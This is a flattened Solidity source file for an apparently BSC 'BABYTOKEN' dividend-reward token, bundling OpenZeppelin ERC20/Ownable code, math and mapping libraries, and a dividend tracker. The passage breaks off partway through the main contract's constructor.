"@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; // import "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/IERC20MetadataUpgradeable.sol"; // import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol"; // import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} uint256[45] private __gap; } // Dependency file: @openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol // pragma solidity ^0.8.0; // import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol"; // import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } // Dependency file: contracts/interfaces/IUniswapV2Pair.sol // pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // Dependency file: contracts/libs/SafeMathInt.sol // pragma solidity =0.8.4; /** * @title SafeMathInt * @dev Math operations for int256 with overflow safety checks. */ library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } // Dependency file: contracts/libs/SafeMathUint.sol // pragma solidity =0.8.4; /** * @title SafeMathUint * @dev Math operations with safety checks that revert on error */ library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } // Dependency file: contracts/baby/IterableMapping.sol // pragma solidity =0.8.4; library IterableMapping { // Iterable mapping from address to uint; struct Map { address[] keys; mapping(address => uint256) values; mapping(address => uint256) indexOf; mapping(address => bool) inserted; } function get(Map storage map, address key) public view returns (uint256) { return map.values[key]; } function getIndexOfKey(Map storage map, address key) public view returns (int256) { if (!map.inserted[key]) { return -1; } return int256(map.indexOf[key]); } function getKeyAtIndex(Map storage map, uint256 index) public view returns (address) { return map.keys[index]; } function size(Map storage map) public view returns (uint256) { return map.keys.length; } function set( Map storage map, address key, uint256 val ) public { if (map.inserted[key]) { map.values[key] = val; } else { map.inserted[key] = true; map.values[key] = val; map.indexOf[key] = map.keys.length; map.keys.push(key); } } function remove(Map storage map, address key) public { if (!map.inserted[key]) { return; } delete map.inserted[key]; delete map.values[key]; uint256 index = map.indexOf[key]; uint256 lastIndex = map.keys.length - 1; address lastKey = map.keys[lastIndex]; map.indexOf[lastKey] = index; delete map.indexOf[key]; map.keys[index] = lastKey; map.keys.pop(); } } // Dependency file: contracts/baby/BabyTokenDividendTracker.sol // pragma solidity =0.8.4; // import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; // import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"; // import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // import "@openzeppelin/contracts/access/Ownable.sol"; // import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; // import "@openzeppelin/contracts/utils/math/SafeMath.sol"; // import "contracts/interfaces/IUniswapV2Factory.sol"; // import "contracts/interfaces/IUniswapV2Router02.sol"; // import "contracts/interfaces/IUniswapV2Pair.sol"; // import "contracts/libs/SafeMathInt.sol"; // import "contracts/libs/SafeMathUint.sol"; // import "contracts/baby/IterableMapping.sol"; /// @title Dividend-Paying Token Interface /// @author Roger Wu (https://github.com/roger-wu) /// @dev An interface for a dividend-paying token contract. interface DividendPayingTokenInterface { /// @notice View the amount of dividend in wei that an address can withdraw. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` can withdraw. function dividendOf(address _owner) external view returns (uint256); /// @notice Withdraws the ether distributed to the sender. /// @dev SHOULD transfer `dividendOf(msg.sender)` wei to `msg.sender`, and `dividendOf(msg.sender)` SHOULD be 0 after the transfer. /// MUST emit a `DividendWithdrawn` event if the amount of ether transferred is greater than 0. function withdrawDividend() external; /// @dev This event MUST emit when ether is distributed to token holders. /// @param from The address which sends ether to this contract. /// @param weiAmount The amount of distributed ether in wei. event DividendsDistributed(address indexed from, uint256 weiAmount); /// @dev This event MUST emit when an address withdraws their dividend. /// @param to The address which withdraws ether from this contract. /// @param weiAmount The amount of withdrawn ether in wei. event DividendWithdrawn(address indexed to, uint256 weiAmount); } /// @title Dividend-Paying Token Optional Interface /// @author Roger Wu (https://github.com/roger-wu) /// @dev OPTIONAL functions for a dividend-paying token contract. interface DividendPayingTokenOptionalInterface { /// @notice View the amount of dividend in wei that an address can withdraw. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` can withdraw. function withdrawableDividendOf(address _owner) external view returns (uint256); /// @notice View the amount of dividend in wei that an address has withdrawn. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` has withdrawn. function withdrawnDividendOf(address _owner) external view returns (uint256); /// @notice View the amount of dividend in wei that an address has earned in total. /// @dev accumulativeDividendOf(_owner) = withdrawableDividendOf(_owner) + withdrawnDividendOf(_owner) /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` has earned in total. function accumulativeDividendOf(address _owner) external view returns (uint256); } /// @title Dividend-Paying Token /// @author Roger Wu (https://github.com/roger-wu) /// @dev A mintable ERC20 token that allows anyone to pay and distribute ether /// to token holders as dividends and allows token holders to withdraw their dividends. /// Reference: the source code of PoWH3D: https://etherscan.io/address/0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe#code contract DividendPayingToken is ERC20Upgradeable, OwnableUpgradeable, DividendPayingTokenInterface, DividendPayingTokenOptionalInterface { using SafeMath for uint256; using SafeMathUint for uint256; using SafeMathInt for int256; address public rewardToken; // With `magnitude`, we can properly distribute dividends even if the amount of received ether is small. // For more discussion about choosing the value of `magnitude`, // see https://github.com/ethereum/EIPs/issues/1726#issuecomment-472352728 uint256 internal constant magnitude = 2**128; uint256 internal magnifiedDividendPerShare; // About dividendCorrection: // If the token balance of a `_user` is never changed, the dividend of `_user` can be computed with: // `dividendOf(_user) = dividendPerShare * balanceOf(_user)`. // When `balanceOf(_user)` is changed (via minting/burning/transferring tokens), // `dividendOf(_user)` should not be changed, // but the computed value of `dividendPerShare * balanceOf(_user)` is changed. // To keep the `dividendOf(_user)` unchanged, we add a correction term: // `dividendOf(_user) = dividendPerShare * balanceOf(_user) + dividendCorrectionOf(_user)`, // where `dividendCorrectionOf(_user)` is updated whenever `balanceOf(_user)` is changed: // `dividendCorrectionOf(_user) = dividendPerShare * (old balanceOf(_user)) - (new balanceOf(_user))`. // So now `dividendOf(_user)` returns the same value before and after `balanceOf(_user)` is changed. mapping(address => int256) internal magnifiedDividendCorrections; mapping(address => uint256) internal withdrawnDividends; uint256 public totalDividendsDistributed; function __DividendPayingToken_init( address _rewardToken, string memory _name, string memory _symbol ) internal initializer { __Ownable_init(); __ERC20_init(_name, _symbol); rewardToken = _rewardToken; } function distributeCAKEDividends(uint256 amount) public onlyOwner { require(totalSupply() > 0); if (amount > 0) { magnifiedDividendPerShare = magnifiedDividendPerShare.add( (amount).mul(magnitude) / totalSupply() ); emit DividendsDistributed(msg.sender, amount); totalDividendsDistributed = totalDividendsDistributed.add(amount); } } /// @notice Withdraws the ether distributed to the sender. /// @dev It emits a `DividendWithdrawn` event if the amount of withdrawn ether is greater than 0. function withdrawDividend() public virtual override { _withdrawDividendOfUser(payable(msg.sender)); } /// @notice Withdraws the ether distributed to the sender. /// @dev It emits a `DividendWithdrawn` event if the amount of withdrawn ether is greater than 0. function _withdrawDividendOfUser(address payable user) internal returns (uint256) { uint256 _withdrawableDividend = withdrawableDividendOf(user); if (_withdrawableDividend > 0) { withdrawnDividends[user] = withdrawnDividends[user].add( _withdrawableDividend ); emit DividendWithdrawn(user, _withdrawableDividend); bool success = IERC20(rewardToken).transfer( user, _withdrawableDividend ); if (!success) { withdrawnDividends[user] = withdrawnDividends[user].sub( _withdrawableDividend ); return 0; } return _withdrawableDividend; } return 0; } /// @notice View the amount of dividend in wei that an address can withdraw. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` can withdraw. function dividendOf(address _owner) public view override returns (uint256) { return withdrawableDividendOf(_owner); } /// @notice View the amount of dividend in wei that an address can withdraw. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` can withdraw. function withdrawableDividendOf(address _owner) public view override returns (uint256) { return accumulativeDividendOf(_owner).sub(withdrawnDividends[_owner]); } /// @notice View the amount of dividend in wei that an address has withdrawn. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` has withdrawn. function withdrawnDividendOf(address _owner) public view override returns (uint256) { return withdrawnDividends[_owner]; } /// @notice View the amount of dividend in wei that an address has earned in total. /// @dev accumulativeDividendOf(_owner) = withdrawableDividendOf(_owner) + withdrawnDividendOf(_owner) /// = (magnifiedDividendPerShare * balanceOf(_owner) + magnifiedDividendCorrections[_owner]) / magnitude /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` has earned in total. function accumulativeDividendOf(address _owner) public view override returns (uint256) { return magnifiedDividendPerShare .mul(balanceOf(_owner)) .toInt256Safe() .add(magnifiedDividendCorrections[_owner]) .toUint256Safe() / magnitude; } /// @dev Internal function that transfer tokens from one address to another. /// Update magnifiedDividendCorrections to keep dividends unchanged. /// @param from The address to transfer from. /// @param to The address to transfer to. /// @param value The amount to be transferred. function _transfer( address from, address to, uint256 value ) internal virtual override { require(false); int256 _magCorrection = magnifiedDividendPerShare .mul(value) .toInt256Safe(); magnifiedDividendCorrections[from] = magnifiedDividendCorrections[from] .add(_magCorrection); magnifiedDividendCorrections[to] = magnifiedDividendCorrections[to].sub( _magCorrection ); } /// @dev Internal function that mints tokens to an account. /// Update magnifiedDividendCorrections to keep dividends unchanged. /// @param account The account that will receive the created tokens. /// @param value The amount that will be created. function _mint(address account, uint256 value) internal override { super._mint(account, value); magnifiedDividendCorrections[account] = magnifiedDividendCorrections[ account ].sub((magnifiedDividendPerShare.mul(value)).toInt256Safe()); } /// @dev Internal function that burns an amount of the token of a given account. /// Update magnifiedDividendCorrections to keep dividends unchanged. /// @param account The account whose tokens will be burnt. /// @param value The amount that will be burnt. function _burn(address account, uint256 value) internal override { super._burn(account, value); magnifiedDividendCorrections[account] = magnifiedDividendCorrections[ account ].add((magnifiedDividendPerShare.mul(value)).toInt256Safe()); } function _setBalance(address account, uint256 newBalance) internal { uint256 currentBalance = balanceOf(account); if (newBalance > currentBalance) { uint256 mintAmount = newBalance.sub(currentBalance); _mint(account, mintAmount); } else if (newBalance < currentBalance) { uint256 burnAmount = currentBalance.sub(newBalance); _burn(account, burnAmount); } } } contract BABYTOKENDividendTracker is OwnableUpgradeable, DividendPayingToken { using SafeMath for uint256; using SafeMathInt for int256; using IterableMapping for IterableMapping.Map; IterableMapping.Map private tokenHoldersMap; uint256 public lastProcessedIndex; mapping(address => bool) public excludedFromDividends; mapping(address => uint256) public lastClaimTimes; uint256 public claimWait; uint256 public minimumTokenBalanceForDividends; event ExcludeFromDividends(address indexed account); event ClaimWaitUpdated(uint256 indexed newValue, uint256 indexed oldValue); event Claim( address indexed account, uint256 amount, bool indexed automatic ); function initialize( address rewardToken_, uint256 minimumTokenBalanceForDividends_ ) external initializer { DividendPayingToken.__DividendPayingToken_init( rewardToken_, "DIVIDEND_TRACKER", "DIVIDEND_TRACKER" ); claimWait = 3600; minimumTokenBalanceForDividends = minimumTokenBalanceForDividends_; } function _transfer( address, address, uint256 ) internal pure override { require(false, "Dividend_Tracker: No transfers allowed"); } function withdrawDividend() public pure override { require( false, "Dividend_Tracker: withdrawDividend disabled. Use the 'claim' function on the main BABYTOKEN contract." ); } function excludeFromDividends(address account) external onlyOwner { require(!excludedFromDividends[account]); excludedFromDividends[account] = true; _setBalance(account, 0); tokenHoldersMap.remove(account); emit ExcludeFromDividends(account); } function isExcludedFromDividends(address account) public view returns (bool) { return excludedFromDividends[account]; } function updateClaimWait(uint256 newClaimWait) external onlyOwner { require( newClaimWait >= 3600 && newClaimWait <= 86400, "Dividend_Tracker: claimWait must be updated to between 1 and 24 hours" ); require( newClaimWait != claimWait, "Dividend_Tracker: Cannot update claimWait to same value" ); emit ClaimWaitUpdated(newClaimWait, claimWait); claimWait = newClaimWait; } function updateMinimumTokenBalanceForDividends(uint256 amount) external onlyOwner { minimumTokenBalanceForDividends = amount; } function getLastProcessedIndex() external view returns (uint256) { return lastProcessedIndex; } function getNumberOfTokenHolders() external view returns (uint256) { return tokenHoldersMap.keys.length; } function getAccount(address _account) public view returns ( address account, int256 index, int256 iterationsUntilProcessed, uint256 withdrawableDividends, uint256 totalDividends, uint256 lastClaimTime, uint256 nextClaimTime, uint256 secondsUntilAutoClaimAvailable ) { account = _account; index = tokenHoldersMap.getIndexOfKey(account); iterationsUntilProcessed = -1; if (index >= 0) { if (uint256(index) > lastProcessedIndex) { iterationsUntilProcessed = index.sub( int256(lastProcessedIndex) ); } else { uint256 processesUntilEndOfArray = tokenHoldersMap.keys.length > lastProcessedIndex ? tokenHoldersMap.keys.length.sub(lastProcessedIndex) : 0; iterationsUntilProcessed = index.add( int256(processesUntilEndOfArray) ); } } withdrawableDividends = withdrawableDividendOf(account); totalDividends = accumulativeDividendOf(account); lastClaimTime = lastClaimTimes[account]; nextClaimTime = lastClaimTime > 0 ? lastClaimTime.add(claimWait) : 0; secondsUntilAutoClaimAvailable = nextClaimTime > block.timestamp ? nextClaimTime.sub(block.timestamp) : 0; } function getAccountAtIndex(uint256 index) public view returns ( address, int256, int256, uint256, uint256, uint256, uint256, uint256 ) { if (index >= tokenHoldersMap.size()) { return (address(0), -1, -1, 0, 0, 0, 0, 0); } address account = tokenHoldersMap.getKeyAtIndex(index); return getAccount(account); } function canAutoClaim(uint256 lastClaimTime) private view returns (bool) { if (lastClaimTime > block.timestamp) { return false; } return block.timestamp.sub(lastClaimTime) >= claimWait; } function setBalance(address payable account, uint256 newBalance) external onlyOwner { if (excludedFromDividends[account]) { return; } if (newBalance >= minimumTokenBalanceForDividends) { _setBalance(account, newBalance); tokenHoldersMap.set(account, newBalance); } else { _setBalance(account, 0); tokenHoldersMap.remove(account); } processAccount(account, true); } function process(uint256 gas) public returns ( uint256, uint256, uint256 ) { uint256 numberOfTokenHolders = tokenHoldersMap.keys.length; if (numberOfTokenHolders == 0) { return (0, 0, lastProcessedIndex); } uint256 _lastProcessedIndex = lastProcessedIndex; uint256 gasUsed = 0; uint256 gasLeft = gasleft(); uint256 iterations = 0; uint256 claims = 0; while (gasUsed < gas && iterations < numberOfTokenHolders) { _lastProcessedIndex++; if (_lastProcessedIndex >= tokenHoldersMap.keys.length) { _lastProcessedIndex = 0; } address account = tokenHoldersMap.keys[_lastProcessedIndex]; if (canAutoClaim(lastClaimTimes[account])) { if (processAccount(payable(account), true)) { claims++; } } iterations++; uint256 newGasLeft = gasleft(); if (gasLeft > newGasLeft) { gasUsed = gasUsed.add(gasLeft.sub(newGasLeft)); } gasLeft = newGasLeft; } lastProcessedIndex = _lastProcessedIndex; return (iterations, claims, lastProcessedIndex); } function processAccount(address payable account, bool automatic) public onlyOwner returns (bool) { uint256 amount = _withdrawDividendOfUser(account); if (amount > 0) { lastClaimTimes[account] = block.timestamp; emit Claim(account, amount, automatic); return true; } return false; } } // Dependency file: contracts/BaseToken.sol // pragma solidity =0.8.4; enum TokenType { standard, antiBotStandard, liquidityGenerator, antiBotLiquidityGenerator, baby, antiBotBaby, buybackBaby, antiBotBuybackBaby } abstract contract BaseToken { event TokenCreated( address indexed owner, address indexed token, TokenType tokenType, uint256 version ); } // Root file: contracts/baby/BabyToken.sol pragma solidity =0.8.4; // import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; // import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // import "@openzeppelin/contracts/access/Ownable.sol"; // import "@openzeppelin/contracts/utils/math/SafeMath.sol"; // import "@openzeppelin/contracts/proxy/Clones.sol"; // import "contracts/interfaces/IUniswapV2Factory.sol"; // import "contracts/interfaces/IUniswapV2Router02.sol"; // import "contracts/baby/BabyTokenDividendTracker.sol"; // import "contracts/BaseToken.sol"; contract BABYTOKEN is ERC20, Ownable, BaseToken { using SafeMath for uint256; uint256 public constant VERSION = 1; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private swapping; BABYTOKENDividendTracker public dividendTracker; address public rewardToken; uint256 public swapTokensAtAmount; uint256 public tokenRewardsFee; uint256 public liquidityFee; uint256 public marketingFee; uint256 public totalFees; address public _marketingWalletAddress; uint256 public gasForProcessing; // exlcude from fees and max transaction amount mapping(address => bool) private _isExcludedFromFees; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping(address => bool) public automatedMarketMakerPairs; event UpdateDividendTracker( address indexed newAddress, address indexed oldAddress ); event UpdateUniswapV2Router( address indexed newAddress, address indexed oldAddress ); event ExcludeFromFees(address indexed account, bool isExcluded); event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event LiquidityWalletUpdated( address indexed newLiquidityWallet, address indexed oldLiquidityWallet ); event GasForProcessingUpdated( uint256 indexed newValue, uint256 indexed oldValue ); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SendDividends(uint256 tokensSwapped, uint256 amount); event ProcessedDividendTracker( uint256 iterations, uint256 claims, uint256 lastProcessedIndex, bool indexed automatic, uint256 gas, address indexed processor ); constructor( string memory name_, string memory symbol_, uint256 totalSupply_, address[4] memory addrs, // reward, router, marketing wallet, dividendTracker uint256[3] memory feeSettings, // rewards, liquidity, marketing uint256 minimumTokenBalanceForDividends_, address serviceFeeReceiver_, uint256 serviceFee_ ) payable ERC20(name_, symbol_) { rewardToken = addrs[0]; _marketingWalletAddress = addrs[2]; require( msg.sender != _marketingWalletAddress, "Owner and marketing wallet cannot be the same" ); tokenRewardsFee = feeSettings[0]; liquidityFee = feeSettings[1]; marketingFee = feeSettings[2]; totalFees = tokenRewardsFee.add(liquidityFee).add(marketingFee); require(totalFees <= 25, "Total fee is over 25%"); swapTokensAtAmount = totalSupply_.mul(2).div(10**6); // 0.002% // use by default 300,000 gas to process auto-claiming dividends gasForProcessing = 300000; dividendTracker = BABYTOKENDividendTracker( payable(Clones.clone(addrs[3])) ); dividendTracker.initialize( rewardToken, minimumTokenBalanceForDividends_ ); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(addrs[1]); // Create a uniswap pair for this new token address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = _uniswapV2Pair; 